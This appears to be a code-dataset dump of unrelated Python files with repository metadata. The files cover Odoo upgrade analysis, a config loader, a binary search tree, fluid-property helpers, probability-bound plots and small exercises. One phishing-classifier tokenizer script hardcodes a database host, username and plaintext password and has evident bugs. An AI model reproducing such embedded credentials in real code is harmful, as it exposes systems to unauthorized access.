fields.Datetime.now(),\n }\n )\n\n connection = self.config_id.get_connection()\n RemoteRecord = self._get_remote_model(connection, \"record\")\n LocalRecord = self.env[\"upgrade.record\"]\n\n # Retrieve field representations and compare\n remote_records = RemoteRecord.field_dump()\n local_records = LocalRecord.field_dump()\n res = compare.compare_sets(remote_records, local_records)\n\n # Retrieve xml id representations and compare\n flds = [\n \"module\",\n \"model\",\n \"name\",\n \"noupdate\",\n \"prefix\",\n \"suffix\",\n \"domain\",\n \"definition\",\n ]\n local_xml_records = [\n {field: record[field] for field in flds}\n for record in LocalRecord.search([(\"type\", \"=\", \"xmlid\")])\n ]\n remote_xml_record_ids = RemoteRecord.search([(\"type\", \"=\", \"xmlid\")])\n remote_xml_records = [\n {field: record[field] for field in flds}\n for record in RemoteRecord.read(remote_xml_record_ids, flds)\n ]\n res_xml = compare.compare_xml_sets(remote_xml_records, local_xml_records)\n\n # Retrieve model representations and compare\n flds = [\n \"module\",\n \"model\",\n \"name\",\n \"model_original_module\",\n \"model_type\",\n ]\n local_model_records = [\n {field: record[field] for field in flds}\n for record in LocalRecord.search([(\"type\", \"=\", \"model\")])\n ]\n remote_model_record_ids = RemoteRecord.search([(\"type\", \"=\", \"model\")])\n remote_model_records = [\n {field: record[field] for field in flds}\n for record in RemoteRecord.read(remote_model_record_ids, flds)\n ]\n res_model = compare.compare_model_sets(\n remote_model_records, local_model_records\n )\n\n affected_modules = sorted(\n {\n record[\"module\"]\n for record in remote_records\n + local_records\n + remote_xml_records\n + local_xml_records\n + remote_model_records\n + local_model_records\n }\n )\n if \"base\" in affected_modules:\n try:\n pass\n except ImportError:\n _logger.error(\n \"You are using upgrade_analysis on core modules without \"\n \" having openupgrade_scripts module available.\"\n \" The analysis process will not work properly,\"\n \" if you are generating analysis for the odoo modules\"\n \" in an openupgrade context.\"\n )\n\n # reorder and output the result\n keys = [\"general\"] + affected_modules\n modules = {\n module[\"name\"]: module\n for module in self.env[\"ir.module.module\"].search(\n [(\"state\", \"=\", \"installed\")]\n )\n }\n general_log = \"\"\n\n no_changes_modules = []\n\n for ignore_module in _IGNORE_MODULES:\n if ignore_module in keys:\n keys.remove(ignore_module)\n\n for key in keys:\n contents = \"---Models in module '%s'---\\n\" % key\n if key in res_model:\n contents += \"\\n\".join([str(line) for line in res_model[key]])\n if res_model[key]:\n contents += \"\\n\"\n contents += \"---Fields in module '%s'---\\n\" % key\n if key in res:\n contents += \"\\n\".join([str(line) for line in sorted(res[key])])\n if res[key]:\n contents += \"\\n\"\n contents += \"---XML records in module '%s'---\\n\" % key\n if key in res_xml:\n contents += \"\\n\".join([str(line) for line in res_xml[key]])\n if res_xml[key]:\n contents += \"\\n\"\n if key not in res and key not in res_xml and key not in res_model:\n contents += \"---nothing has changed in this module--\\n\"\n no_changes_modules.append(key)\n if key == \"general\":\n general_log += contents\n continue\n if compare.module_map(key) not in modules:\n general_log += (\n \"ERROR: module not in list of installed modules:\\n\" + contents\n )\n continue\n if key not in modules:\n # no need to log in full log the merged/renamed modules\n continue\n if self.write_files:\n error = self._write_file(key, modules[key].installed_version, contents)\n if error:\n general_log += error\n general_log += contents\n else:\n general_log += contents\n\n # Store the full log\n if self.write_files and \"base\" in modules:\n self._write_file(\n \"base\",\n modules[\"base\"].installed_version,\n general_log,\n \"upgrade_general_log.txt\",\n )\n\n try:\n self.generate_noupdate_changes()\n except Exception as e:\n _logger.exception(\"Error generating noupdate changes: %s\" % e)\n general_log += \"ERROR: error when generating noupdate changes: %s\\n\" % e\n\n try:\n self.generate_module_coverage_file(no_changes_modules)\n except Exception as e:\n _logger.exception(\"Error generating module coverage file: %s\" % e)\n general_log += \"ERROR: error when generating module coverage file: %s\\n\" % e\n\n self.write(\n {\n \"state\": \"done\",\n \"log\": general_log,\n }\n )\n return True\n\n @staticmethod\n def _get_node_dict(element):\n res = {}\n if element is None:\n return res\n for child in element:\n if \"name\" in child.attrib:\n key = \"./{}[@name='{}']\".format(child.tag, child.attrib[\"name\"])\n res[key] = child\n return res\n\n @staticmethod\n def _get_node_value(element):\n if \"eval\" in element.attrib.keys():\n return element.attrib[\"eval\"]\n if \"ref\" in element.attrib.keys():\n return element.attrib[\"ref\"]\n if not len(element):\n return element.text\n return etree.tostring(element)\n\n def _get_xml_diff(\n self, remote_update, remote_noupdate, local_update, local_noupdate\n ):\n odoo = etree.Element(\"odoo\")\n for xml_id in sorted(local_noupdate.keys()):\n local_record = local_noupdate[xml_id]\n remote_record = None\n if xml_id in remote_update and xml_id not in remote_noupdate:\n remote_record = remote_update[xml_id]\n elif xml_id in remote_noupdate:\n remote_record = remote_noupdate[xml_id]\n\n if \".\" in xml_id:\n module_xmlid = xml_id.split(\".\", 1)[0]\n else:\n module_xmlid = \"\"\n\n if remote_record is None and not module_xmlid:\n continue\n\n if local_record.tag == \"template\":\n old_tmpl = etree.tostring(remote_record, encoding=\"utf-8\")\n new_tmpl = etree.tostring(local_record, encoding=\"utf-8\")\n if old_tmpl != new_tmpl:\n odoo.append(local_record)\n continue\n\n element = etree.Element(\n \"record\", id=xml_id, model=local_record.attrib[\"model\"]\n )\n # Add forcecreate attribute if exists\n if local_record.attrib.get(\"forcecreate\"):\n element.attrib[\"forcecreate\"] = local_record.attrib[\"forcecreate\"]\n record_remote_dict = self._get_node_dict(remote_record)\n record_local_dict = self._get_node_dict(local_record)\n for key in sorted(record_remote_dict.keys()):\n if not local_record.xpath(key):\n # The element is no longer present.\n # Does the field still exist?\n if record_remote_dict[key].tag == \"field\":\n field_name = remote_record.xpath(key)[0].attrib.get(\"name\")\n if (\n field_name\n not in self.env[local_record.attrib[\"model\"]]._fields.keys()\n ):\n continue\n # Overwrite an existing value with an empty one.\n attribs = deepcopy(record_remote_dict[key]).attrib\n for attr in [\"eval\", \"ref\"]:\n if attr in attribs:\n del attribs[attr]\n element.append(etree.Element(record_remote_dict[key].tag, attribs))\n else:\n oldrepr = self._get_node_value(record_remote_dict[key])\n newrepr = self._get_node_value(record_local_dict[key])\n\n if oldrepr != newrepr:\n element.append(deepcopy(record_local_dict[key]))\n\n for key in sorted(record_local_dict.keys()):\n if remote_record is None or not remote_record.xpath(key):\n element.append(deepcopy(record_local_dict[key]))\n\n if len(element):\n odoo.append(element)\n\n if not len(odoo):\n return \"\"\n return etree.tostring(\n etree.ElementTree(odoo),\n pretty_print=True,\n xml_declaration=True,\n encoding=\"utf-8\",\n ).decode(\"utf-8\")\n\n @staticmethod\n def _update_node(target, source):\n for element in source:\n if \"name\" in element.attrib:\n query = \"./{}[@name='{}']\".format(element.tag, element.attrib[\"name\"])\n else:\n # query = \"./{}\".format(element.tag)\n continue\n for existing in target.xpath(query):\n target.remove(existing)\n target.append(element)\n\n @classmethod\n def _process_data_node(\n self, data_node, records_update, records_noupdate, module_name\n ):\n noupdate = nodeattr2bool(data_node, \"noupdate\", False)\n for record in data_node.xpath(\"./record\") + data_node.xpath(\"./template\"):\n self._process_record_node(\n record, noupdate, records_update, records_noupdate, module_name\n )\n\n @classmethod\n def _process_record_node(\n self, record, noupdate, records_update, records_noupdate, module_name\n ):\n xml_id = record.get(\"id\")\n if not xml_id:\n return\n if \".\" in xml_id and xml_id.startswith(module_name + \".\"):\n xml_id = xml_id[len(module_name) + 1 :]\n for records in records_noupdate, records_update:\n # records can occur multiple times in the same module\n # with different noupdate settings\n if xml_id in records:\n # merge records (overwriting an existing element\n # with the same tag). The order processing the\n # various directives from the manifest is\n # important here\n self._update_node(records[xml_id], record)\n break\n else:\n target_dict = records_noupdate if noupdate else records_update\n target_dict[xml_id] = record\n\n @classmethod\n def _parse_files(self, xml_files, module_name):\n records_update = {}\n records_noupdate = {}\n parser = etree.XMLParser(\n remove_blank_text=True,\n strip_cdata=False,\n )\n for xml_file in xml_files:\n try:\n # This is for a final correct pretty print\n # Ref.: https://stackoverflow.com/a/7904066\n # Also don't strip CDATA tags as needed for HTML content\n root_node = etree.fromstring(xml_file.encode(\"utf-8\"), parser=parser)\n except etree.XMLSyntaxError:\n continue\n # Support xml files with root Element either odoo or openerp\n # Condition: each xml file should have only one root element\n # {, or —rarely— };\n root_node_noupdate = nodeattr2bool(root_node, \"noupdate\", False)\n if root_node.tag not in (\"openerp\", \"odoo\", \"data\"):\n raise ValidationError(\n _(\"Unexpected root Element: %(root)s in file: %(file)s\")\n % {\"root\": root_node.getroot(), \"file\": xml_file}\n )\n for node in root_node:\n if node.tag == \"data\":\n self._process_data_node(\n node, records_update, records_noupdate, module_name\n )\n elif node.tag == \"record\":\n self._process_record_node(\n node,\n root_node_noupdate,\n records_update,\n records_noupdate,\n module_name,\n )\n\n return records_update, records_noupdate\n\n def generate_noupdate_changes(self):\n \"\"\"Communicate with the remote server to fetch all xml data records\n per module, and generate a diff in XML format that can be imported\n from the module's migration script using openupgrade.load_data()\n \"\"\"\n self.ensure_one()\n connection = self.config_id.get_connection()\n remote_record_obj = self._get_remote_model(connection, \"record\")\n local_record_obj = self.env[\"upgrade.record\"]\n local_modules = local_record_obj.list_modules()\n all_remote_modules = remote_record_obj.list_modules()\n for local_module in local_modules:\n remote_files = []\n remote_modules = []\n remote_update, remote_noupdate = {}, {}\n for remote_module in all_remote_modules:\n if local_module == renamed_modules.get(\n remote_module, merged_modules.get(remote_module, remote_module)\n ):\n remote_files.extend(\n remote_record_obj.get_xml_records(remote_module)\n )\n remote_modules.append(remote_module)\n add_remote_update, add_remote_noupdate = self._parse_files(\n remote_files, remote_module\n )\n remote_update.update(add_remote_update)\n remote_noupdate.update(add_remote_noupdate)\n if not remote_modules:\n continue\n local_files = local_record_obj.get_xml_records(local_module)\n local_update, local_noupdate = self._parse_files(local_files, local_module)\n diff = self._get_xml_diff(\n remote_update, remote_noupdate, local_update, local_noupdate\n )\n if diff:\n module = self.env[\"ir.module.module\"].search(\n [(\"name\", \"=\", local_module)]\n )\n self._write_file(\n local_module,\n module.installed_version,\n diff,\n filename=\"noupdate_changes.xml\",\n )\n return True\n\n def generate_module_coverage_file(self, no_changes_modules):\n self.ensure_one()\n\n module_coverage_file_folder = config.get(\"module_coverage_file_folder\", False)\n\n if not module_coverage_file_folder:\n return\n\n file_template = Template(\n filename=os.path.join(\n get_module_path(\"upgrade_analysis\"),\n \"static\",\n \"src\",\n \"module_coverage_template.rst.mako\",\n )\n )\n\n module_domain = [\n (\"state\", \"=\", \"installed\"),\n (\"name\", \"not in\", [\"upgrade_analysis\", \"openupgrade_records\"]),\n ]\n\n connection = self.config_id.get_connection()\n all_local_modules = (\n self.env[\"ir.module.module\"].search(module_domain).mapped(\"name\")\n )\n all_remote_modules = (\n connection.env[\"ir.module.module\"]\n .browse(connection.env[\"ir.module.module\"].search(module_domain))\n .mapped(\"name\")\n )\n\n start_version = connection.version\n end_version = release.major_version\n\n all_modules = sorted(list(set(all_remote_modules + all_local_modules)))\n module_descriptions = {}\n for module in all_modules:\n status = \"\"\n if module in all_local_modules and module in all_remote_modules:\n module_description = \" %s\" % module\n elif module in all_local_modules:\n module_description = \" |new| %s\" % module\n else:\n module_description = \" |del| %s\" % module\n\n if module in compare.apriori.merged_modules:\n status = \"Merged into %s. \" % compare.apriori.merged_modules[module]\n elif module in compare.apriori.renamed_modules:\n status = \"Renamed to %s. \" % compare.apriori.renamed_modules[module]\n elif module in compare.apriori.renamed_modules.values():\n status = (\n \"Renamed from %s. \"\n % [\n x\n for x in compare.apriori.renamed_modules\n if compare.apriori.renamed_modules[x] == module\n ][0]\n )\n elif module in no_changes_modules:\n status += \"No DB layout changes. \"\n module_descriptions[module_description.ljust(49, \" \")] = status.ljust(\n 49, \" \"\n )\n\n rendered_text = file_template.render(\n start_version=start_version,\n end_version=end_version,\n module_descriptions=module_descriptions,\n )\n\n file_name = \"modules{}-{}.rst\".format(\n start_version.replace(\".\", \"\"),\n end_version.replace(\".\", \"\"),\n )\n\n file_path = os.path.join(module_coverage_file_folder, file_name)\n f = open(file_path, \"w+\")\n f.write(rendered_text)\n f.close()\n return True\n","repo_name":"OCA/server-tools","sub_path":"upgrade_analysis/models/upgrade_analysis.py","file_name":"upgrade_analysis.py","file_ext":"py","file_size_in_byte":22263,"program_lang":"python","lang":"en","doc_type":"code","stars":599,"dataset":"github-code","pt":"31"} +{"seq_id":"73699476569","text":"\"\"\"Algoritmo que lê a idade de uma pessoa expressa em dias e mostra expressa em\nanos, meses e dias.\"\"\"\n#Emerson Dantas S.I IP-P1\n#02/08/2017 14:50\n\nprint('Digite sua idade em dias:')\nIDD= int(input('Idade:'))\nAQ = IDD / 365\nAR = IDD % 365\nMQ = AR / 30\nDIAS = AR % 30\nprint('Anos:',(int(AQ)),'\\n''Meses:',(int(MQ)),'\\n''Dias:',(int(DIAS)))\n","repo_name":"EmersonDantas/SI-UFPB-IP-P1","sub_path":"Exercícios-Lista3-Estrutura sequencial-IP-Python/Lista3-Sld-Pag28-Alg-8.py","file_name":"Lista3-Sld-Pag28-Alg-8.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"12411203462","text":"import sys, yaml, time, random\nfrom pathlib import Path\nfrom importlib import import_module\nfrom typing import Optional, Union\nfrom collections.abc import Callable\n\ndef _format(val):\n r\"\"\"Formats an object to configuration style.\n\n Dicts are converted to Config objects and tuples are converted to lists.\n\n \"\"\"\n if isinstance(val, dict):\n return Config({k: _format(v) for k, v in val.items()})\n elif isinstance(val, (list, tuple)):\n return [_format(v) for v in val]\n elif isinstance(val, set):\n return set(_format(v) for v in val)\n else:\n return val\n\n\nclass Config(dict):\n r\"\"\"Configuration class.\n\n Dot notation is supported. When a callable '_target_' is specified, an\n object can be instantiated according to the configuration.\n\n \"\"\"\n\n def __init__(self, config: Optional[dict] = None):\n super().__init__()\n for key, val in (config or {}).items():\n self[key] = val\n\n def _is_valid_key(self, key):\n return isinstance(key, str) and not (\n key in super().__dir__()\n or len(key)==0 or key[0]=='.' or key[-1]=='.'\n or '..' in key\n )\n\n def __setitem__(self, key, val):\n assert self._is_valid_key(key), f\"'{key}' is not a valid key.\"\n val = _format(val)\n dot_pos = key.find('.')\n if dot_pos==-1:\n super().__setitem__(key, val)\n else:\n key_head, key_tail = key[:dot_pos], key[dot_pos+1:]\n if key_head in self:\n assert isinstance(self[key_head], Config)\n self[key_head][key_tail] = val\n else:\n self[key_head] = Config({key_tail: val})\n\n def __getitem__(self, key):\n dot_pos = key.find('.')\n if dot_pos==-1:\n return super().__getitem__(key)\n else:\n key_head, key_tail = key[:dot_pos], key[dot_pos+1:]\n assert key_head in self and isinstance(self[key_head], Config)\n return self[key_head][key_tail]\n\n def __setattr__(self, key, val):\n if self._is_valid_key(key):\n self[key] = val\n else:\n super().__setattr__(key, val)\n\n def __getattr__(self, key):\n try:\n return self[key]\n except:\n return super().__getattr__(key)\n\n def get(self, key, val=None):\n try:\n val = self[key]\n except:\n pass\n if isinstance(val, dict):\n return Config(val)\n else:\n return val\n\n def flatten(self) -> dict:\n r\"\"\"Returns a flattened dictionary.\"\"\"\n f_dict = {}\n for p_key, p_val in self.items(): # parent key and value\n if isinstance(p_val, Config) and len(p_val)>0:\n for c_key, c_val in p_val.flatten().items(): # child key and value\n f_dict[f'{p_key}.{c_key}'] = c_val\n else:\n f_dict[p_key] = p_val\n return f_dict\n\n def asdict(self) -> dict:\n r\"\"\"Returns basic dict version.\"\"\"\n # TODO deal with list and set\n n_dict = {}\n for key, val in self.items():\n if isinstance(val, Config):\n n_dict[key] = val.asdict()\n else:\n n_dict[key] = val\n return n_dict\n\n def update(self, config: Union[dict, Path, str, None]):\n r\"\"\"Overwrites from a new config.\"\"\"\n config = _load_dict(config)\n for key, val in config.flatten().items():\n self[key] = val\n\n def fill(self, config: Union[dict, Path, str, None]):\n r\"\"\"Fills value from a new config.\"\"\"\n config = _load_dict(config)\n if not('_target_' in self and '_target_' in config and self._target_!=config._target_):\n for key, val in config.items():\n if key in self:\n if isinstance(self[key], Config) and isinstance(val, Config):\n self[key].fill(val)\n else:\n self[key] = val\n return self\n\n def clone(self):\n r\"\"\"Returns a clone of the configuration.\"\"\"\n return Config(self.flatten())\n\n def instantiate(self, *args, **kwargs): # one-level instantiation\n r\"\"\"Instantiates an object using the configuration.\n\n When a callable object is specified by a string in '_target_', this\n method will use other key-values as arguments to instantiate a new\n object. '_target_' should be a string that can be imported from the\n working directory, it can be a class or a function.\n\n \"\"\"\n assert '_target_' in self, \"A callable needs to be specified as '_target_'.\"\n try:\n _target = _locate(self._target_)\n assert callable(_target)\n except:\n raise RuntimeError(f\"The '_target_' ({_target}) is not callable.\")\n _kwargs = Config({k: v for k, v in self.items() if k!='_target_'})\n _kwargs.update(kwargs)\n return _target(*args, **_kwargs)\n\n\ndef from_cli(argv: Optional[list[str]] = None) -> Config:\n r\"\"\"Constructs a configuration from command line.\"\"\"\n if argv is None:\n argv = sys.argv[1:]\n config = Config()\n for _argv in argv:\n assert _argv.count('=')==1, f\"Expects one '=' in '{_argv}'.\"\n key, val = _argv.split('=')\n config[key] = yaml.safe_load(val)\n # add random wait to avoid conflicts in the following I/O operations on cluster\n if 'max_wait' in config:\n wait = config.pop('max_wait')*random.random()\n if wait>0:\n print(\"Wait for {:.1f} secs before execution.\".format(wait))\n time.sleep(wait)\n return config\n\n\ndef _load_dict(config: Union[dict, Path, str, None]) -> Config:\n if isinstance(config, (Path, str)):\n with open(config, 'r') as f:\n config = yaml.safe_load(f)\n config = Config(config)\n return config\n\n\ndef _locate(path: str) -> Callable:\n r\"\"\"Returns a callable object from string.\n\n This is a simplified version of 'hydra._internal.utils._locate' (==1.3.1).\n\n \"\"\"\n parts = path.split('.')\n part = parts[0]\n obj = import_module(part)\n for m in range(1, len(parts)):\n part = parts[m]\n try:\n obj = getattr(obj, part)\n except:\n obj = import_module('.'.join(parts[:(m+1)]))\n return obj\n","repo_name":"lizhe07/jarvis","sub_path":"jarvis/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38909468097","text":"class Node():\n def __init__(self, key = None, left = None, right = None):\n self.key = key\n self.left = left\n self.right = right\n\ndef insert(root, key):\n if not root:\n root = Node(key)\n elif key >= root.key:\n root.right = insert(root.right, key)\n else:\n root.left = insert(root.left, key)\n return root\n\ndef delete(root, key):\n if not root:\n return\n if key > root.key:\n root.right = delete(root.right, key)\n elif key < root.key:\n root.left = delete(root.left, key)\n else:\n if root.right and root.left:\n successor = findMin(root.right)\n root.key = successor.key\n root.right = delete(root.right, successor.key)\n else:\n temp = root\n if not root.right:\n root = root.left\n elif not root.left:\n root = root.right\n del(temp) \n return root \n\ndef preOrderTraverse(root):\n def recursion(root):\n if root:\n print(root.key, end = \" \")\n recursion(root.left)\n recursion(root.right)\n recursion(root)\n print()\n\ndef search(root, key):\n if not root or root.key == key:\n return root\n elif key > root.key:\n return search(root.right, key)\n else:\n return search(root.left, key)\n\ndef findMax(root):\n return root if not root or not root.right else findMax(root.right)\n\ndef findMin(root):\n return root if not root or not root.left else findMin(root.left)\n\na = [3, 4, 8, 2, 1, 6]\nroot = None\n\nprint(\"insert\")\nfor x in a:\n root = insert(root, x)\n preOrderTraverse(root)\n\nprint(\"delete\")\nfor x in a:\n root = delete(root, x)\n preOrderTraverse(root)\n\n","repo_name":"xanarry/source-code","sub_path":"Python/二叉树递归插入.py","file_name":"二叉树递归插入.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9257896690","text":"from os import listdir\nimport sys\nimport re\nimport json\nimport lxml, MySQLdb\nimport lxml.html\nfrom lxml.html.clean import Cleaner\nimport nltk\nfrom nltk.tokenize import RegexpTokenizer\n\ncleaner = Cleaner()\ncleaner.javascript = True\ncleaner.style = True\n\ndef tokenizer():\n\tprint (\"querying\")\n\tdb = MySQLdb.connect(host='cspp53001.cs.uchicago.edu',db='jcbraunDB',user='jcbraun',passwd='3312crystal')\n\tcursor = db.cursor()\n\texecString = (\"SELECT Content FROM Content WHERE Lvl=1;\") \n\tcursor.execute(execString)\n\tcopy = cursor.fetchall()\n\tprint (\"queried\")\n\tnoTagsDict = set()\n\tfor row in copy:\n\t\tnoTagsFile = open('dict.txt', 'w')\n\t\ttagsFile = open('tagsDict.txt', 'w')\n\t\tnoSymbols = re.sub('[^A-Za-z0-9]+', '', row[0])\n\t\ttokenizer = RegexpTokenizer(r'\\w+')\n\t\ttokenized = tokenizer.tokenize(noSymbols)\n\t\tallCopy = set(tokenized)\n\t\tnoTags=(lxml.html.tostring(cleaner.clean_html(lxml.html.parse(row[0]))))\n\t\tnoTagsTokened = tokenizer.tokenize(noTags)\n\t\ttags = allCopy - noTagsTokened\n\t\tnoTagsDict = noTagsDict + set(noTags)\n\t\tnoTagsFile.write (noTagsDict)\n\t\tnoTagsFile.close()\n\t\tprint (\"*\")\n\nif __name__ == '__main__':\n\ttokenizer()\n","repo_name":"0x0mar/Fishing-for-Phishing","sub_path":"classifier/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24762755235","text":"\"\"\"You are given a 2-d matrix where each cell represents number of coins in that cell.\nAssuming we start at matrix[0][0], and can only move right or down, find the maximum \nnumber of coins you can collect by the bottom right corner.\n\nFor example, in this matrix\n0 3 1 1\n2 0 0 4\n1 5 3 1\nThe most we can collect is 0 + 2 + 1 + 5 + 3 + 1 = 12 coins.\"\"\"\n\n\ndef driver(board, a=0, b=0, cur_sum = 0):\n if a >= (len(board)-1) or b >= (len(board[0])-1): \n cur_sum += board[a][b]\n return cur_sum\n cur_sum += board[a][b] \n a1 = a+1\n b1 = b+1\n return max(driver(board, a1, b1, cur_sum), driver(board, a1, b, cur_sum), driver(board, a, b1, cur_sum))\n \n\ndef get_max_coins(board):\n a = len(board)\n b = len(board[0])\n if a > b:\n to_add = a-b\n for row in board:\n for _ in range(to_add):\n row.append(0)\n if b > a:\n to_add = b-a\n for _ in range(to_add):\n board.append([0 for _ in range(b)])\n return driver(board)\n \n\nif __name__ == \"__main__\":\n board = [[0, 3, 1, 1],\n [2, 0, 0, 4],\n [1, 5, 3, 1]]\n assert get_max_coins(board) == 12","repo_name":"TetianaHrunyk/DailyCodingProblems","sub_path":"challenge122.py","file_name":"challenge122.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73497721368","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 10 09:21:41 2020\n\n@author: gibelhaus\n\"\"\"\nimport Fluid_RP10_2 as fl\n\nclass VLEFluid:\n \"\"\"Fluid\n \n Class containing the states of the fluid and \n corresponding functions\n \"\"\"\n def __init__(self,name, h=None, h_l=None,h_v=None,p_v=None, cp = None, vol = None):\n self.fluid = name\n fl.init_RP(self.fluid)\n self.h = h\n self.h_l = h_l\n self.h_v = h_v\n self.p_v = p_v\n self.vol = vol\n self.cp = cp\n\n\n \"\"\"\n def __init__(self,name,computeVLEAdditionalProperties=False):\n # Constructor\n Instantiate the fluid\n # name: String defining name of the working pair\n self.fluidProp = prop.VLEFluid(name,computeVLEAdditionalProperties=computeVLEAdditionalProperties)\n \"\"\"\n # the properties of saturated vapor calculated from temperature\n def calc_VLE_T(self,T,unit_T='K'):\n \"\"\"Calculates vapor liquid equilibrium\n \n T: Array_like temperature in K\n unit_T: String defining unit of temperature input 'K' or 'C'\n \n returns: NumPy array \n \"\"\"\n\n if unit_T=='K':\n T = T\n elif unit_T=='C':\n T = T + 273.15\n else:\n pass\n\n q = 1 #fluid quality is saturated vapor\n prop_list = [\"T\",'p','v','u','h','s','BETA','q']\n VLE = fl.zs([\"T\",\"q\"],[T,q],prop_list,self.fluid,Eh=\"default\")\n VLEFluid.h_v = VLE[4]\n VLEFluid.p_v = VLE[1]\n return VLEFluid\n\n # the properties of saturated liquid calculated from temperature\n def calc_VLE_liquid_T(self,T,unit_T='K'):\n \"\"\"Calculate the enthalpy of saturated liquid\"\"\"\n if unit_T=='K':\n T = T\n elif unit_T=='C':\n T = T + 273.15\n else:\n pass\n\n q = 0 #fluid quality is saturated liquid\n prop_list = [\"T\",'p','cp','q']\n VLE = fl.zs([\"T\",\"q\"],[T,q],prop_list,self.fluid,Eh=\"default\")\n VLEFluid.cp = VLE[2] # J/kg/K\n return VLEFluid\n\n\n # the parameter of saturated vapor calcurated from pressure \n def calc_VLE_p(self,p):\n \"\"\"Calculates vapor liquid equilibrium\n \n p: Array_like pressure in Pa\n \n returns: NumPy array \n \"\"\"\n q = 1 #fluid quality is saturated vapor\n prop_list = [\"T\",'p','v','u','h','s','q']\n VLE = fl.zs([\"p\",\"q\"],[p, q],prop_list,self.fluid,Eh=\"default\")\n VLEFluid.h_v = VLE[4]\n return VLEFluid\n\n # the parameter of unsaturated vapor calculated from temperature and pressure\n def calc_fluidProp_pT(self,p,T):\n \"\"\"Calculated fluid properties\n \"\"\"\n VLE = fl.zs([\"T\", \"p\"],[T, p],[\"T\",'p','v','h','cp','s','q'],self.fluid,Eh=\"default\")\n VLEFluid.h = VLE[3]\n VLEFluid.vol = VLE[2]\n VLEFluid.cp = VLE[4]\n VLEFluid.s = VLE[5]\n return VLEFluid\n\n # the parameter of unsaturated vapor calculated from temperature and pressure\n def calc_fluidProp_ps(self,p,s):\n \"\"\"Calculated fluid properties\n \"\"\"\n VLE = fl.zs([\"p\", \"s\"],[p, s],[\"T\",'p','v','h','cp','q'],self.fluid,Eh=\"default\")\n VLEFluid.h = VLE[3]\n VLEFluid.vol = VLE[2]\n VLEFluid.cp = VLE[4]\n VLEFluid.T = VLE[0]\n return VLEFluid\n\n # calculate the latent heat of fluid, at const temperature, below and after critical\n def calc_fg_latent(self, T):\n # below critical temperature\n if T < 302:\n prop_list = [\"T\",'p','h','q']\n q = 0 #fluid quality is saturated liquid\n VLE_liq = fl.zs([\"T\",\"q\"],[T,q],prop_list,self.fluid,Eh=\"default\")\n q = 1 #fluid quality is saturated vapor\n VLE_vap = fl.zs([\"T\",\"q\"],[T,q],prop_list,self.fluid,Eh=\"default\")\n h_fg = VLE_vap[2] - VLE_liq[2]\n return h_fg * self.get_molar_mass() # J/mol\n \n # above critical point\n else:\n R = 8.314462618 # J/K/mol, gas constant\n h_fg = 2 * R * T\n return h_fg # J/mol\n\n # search molar mass of the fluid\n def get_molar_mass(self):\n return fl.getInfo(self.fluid)[0] # kg/mol","repo_name":"Cinebou/HCA_HP_lumped","sub_path":"exp_data/古箱/fluidProp.py","file_name":"fluidProp.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19336820797","text":"import numpy\r\nimport matplotlib.pyplot as plt\r\n\r\n# make a matrix with 100000 sequences (rows) of 1000 tosses each (column)\r\ndata = numpy.random.binomial(1,0.25,(100000,1000))\r\n\r\nepsilon_list = [0.5,0.25,0.1,0.01,0.001]\r\nasnwer_b = [[0 for i in range(1000)] for j in range(100000)]\r\nasnwer_a = [[0 for k in range(1000)] for d in range(6)]\r\n\r\nfor row in range(6):\r\n sum = 0\r\n for col in range(1000):\r\n sum += data[row][col]\r\n asnwer_a[row][col] = sum /(col+1)\r\n # after creating a row directly plot it\r\n plt.plot(range(1,1001),asnwer_a[row],label=\"Sequence {}\".format(row+1))\r\n plt.ylabel(\"Mean\")\r\n plt.xlabel(\"Tosses (m)\")\r\n plt.title(\"The average based on number of tosses(m) on each sequence out of 5:\")\r\n plt.legend(loc=\"upper-right\")\r\nplt.show()\r\n\r\n\r\ndef chebyshev(epsilon,m):\r\n return min((1 / (4*m*(epsilon**2))),1)\r\n\r\ndef hoefding(epsilon,m):\r\n return min((2 * numpy.exp(-2 * m * (epsilon ** 2))),1)\r\n\r\n\r\n\r\nfor epsilon in epsilon_list:\r\n cheby_upper_bound = list()\r\n hoef_upper_bound = list()\r\n sum_list = [0]*100000\r\n percentages = list()\r\n for m in range(1,1001):\r\n satisfy_count = 0\r\n cheby_upper_bound.append(chebyshev(epsilon,m))\r\n hoef_upper_bound.append(hoefding(epsilon, m))\r\n for col in range(1000):\r\n sum = 0\r\n sum_satisfy = 0\r\n for row in range(100000):\r\n sum_list[row] += data[row][col]\r\n mean = sum_list[row] /(col+1)\r\n if abs((mean - 0.25)) >= epsilon:\r\n sum_satisfy += 1\r\n percentage = sum_satisfy / 100000\r\n percentages.append(percentage)\r\n\r\n\r\n plt.plot(range(1, 1001), cheby_upper_bound, label=\"Chebyshev upper bound\")\r\n plt.plot(range(1, 1001), hoef_upper_bound, label=\"Hoefding upper bound\")\r\n plt.plot(range(1, 1001), percentages, label=\"Percentage of sequences satisfy inequality\")\r\n plt.ylabel(\"Bound\")\r\n plt.xlabel(\"Tosses (m)\")\r\n plt.title(\"The bounds(Hoefding and Checbyshev) based on {}\".format(epsilon))\r\n plt.legend(loc=\"upper right\")\r\n plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Harelyac/Python-PROJECTS","sub_path":"Machine Learning Basics/Concentration Inequalities.py","file_name":"Concentration Inequalities.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34256306009","text":"import os\nimport warnings\n\nimport localizationpy.aerial_measure as am\nimport localizationpy.file_manager as fm\n\n\nclass Simulation(object):\n \"\"\"\n Class containing all the relative information of a simulation, including mapped points coordinates values and\n Electromagnetic 